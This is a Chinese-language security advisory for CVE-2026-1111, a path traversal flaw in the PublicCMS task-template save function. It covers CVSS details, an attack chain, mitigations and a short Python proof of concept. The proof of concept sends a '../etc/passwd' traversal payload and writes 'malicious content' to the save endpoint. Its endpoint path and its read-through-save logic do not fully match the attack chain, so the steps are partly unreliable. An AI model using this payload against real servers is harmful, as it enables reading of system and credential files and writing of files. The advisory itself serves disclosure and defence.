IPBUF安全漏洞报告
English
CVE-2026-1111 CVSS 4.7 中危

CVE-2026-1111 Sanluan PublicCMS TaskTemplateAdminController路径遍历漏洞

披露日期: 2026-01-18

漏洞信息

漏洞编号
CVE-2026-1111
漏洞类型
路径遍历
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Sanluan PublicCMS

相关标签

路径遍历Sanluan PublicCMSCVE-2026-1111Web应用安全文件操作漏洞管理后台漏洞

漏洞概述

CVE-2026-1111是Sanluan PublicCMS中存在的一个路径遍历漏洞。该漏洞影响Sanluan PublicCMS 5.202506.d及之前版本,攻击者可以通过操纵TaskTemplateAdminController.java中Save函数的path参数来实现目录遍历攻击。由于漏洞存在于管理后台的任务模板管理功能中,攻击者需要具备高权限才能利用此漏洞。该漏洞由[email protected]于2026年1月18日披露,目前漏洞利用代码已公开,且厂商在收到提前通知后未做出任何回应。由于该漏洞可被远程利用,且可能导致系统敏感文件被读取或写入,建议受影响的用户尽快采取防护措施。

技术细节

该漏洞存在于com/publiccms/controller/admin/sys/TaskTemplateAdminController.java文件的Save函数中。漏洞根源在于程序对用户输入的path参数缺乏充分的路径验证和过滤。攻击者可以通过构造特殊的路径字符串(如../或绝对路径)来绕过程序的路径限制,访问或操作服务器上的任意文件。在Web应用场景中,路径遍历漏洞通常发生在文件操作功能中,当程序直接使用用户可控的路径参数进行文件读写操作时,未对路径进行规范化处理或边界检查。攻击者利用此漏洞可以读取服务器上的配置文件、源代码或其他敏感文件,甚至在某些情况下可以实现远程代码执行。CVSS 3.1向量显示该漏洞需要高权限认证(PR:H)才能利用,网络可达(AV:N),用户交互要求低(UI:N),对机密性、完整性和可用性均造成低影响。

攻击链分析

STEP 1
步骤1
攻击者访问Sanluan PublicCMS管理后台,使用有效的高权限账号登录系统
STEP 2
步骤2
导航至任务模板管理功能模块(Task Template Management)
STEP 3
步骤3
构造包含路径遍历序列(如../../../../../../etc/passwd)的path参数
STEP 4
步骤4
向/sy/taskTemplate/save端点发送恶意请求,path参数包含遍历payload
STEP 5
步骤5
服务器端未对path参数进行安全验证,直接使用该路径进行文件操作
STEP 6
步骤6
攻击者成功读取服务器敏感文件(如/etc/passwd、配置文件等)或写入恶意文件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2026-1111 PoC - Path Traversal in Sanluan PublicCMS # Target: Sanluan PublicCMS <= 5.202506.d # Component: TaskTemplateAdminController.java Save function target_url = "http://target.com/publiccms" # Path traversal payload to read /etc/passwd traversal_payload = "../../../../../../etc/passwd" # Construct the malicious request endpoint = f"{target_url}/sys/taskTemplate/save" params = { "path": traversal_payload, "fileName": "test.txt", "content": "malicious content" } # Since PR:H is required, we need valid admin credentials cookies = { "JSESSIONID": "your_admin_session_id" } try: response = requests.post(endpoint, params=params, cookies=cookies, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

影响范围

Sanluan PublicCMS <= 5.202506.d

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制管理后台访问IP,仅允许可信IP访问;2)启用强认证机制,包括多因素认证;3)在Web应用层部署路径遍历检测规则,拦截包含../序列的请求;4)临时禁用任务模板管理功能中涉及文件保存的功能;5)加强服务器文件系统权限管理,限制Web应用进程对敏感目录的访问权限;6)监控和审计所有对管理后台API的请求日志,及时发现异常访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表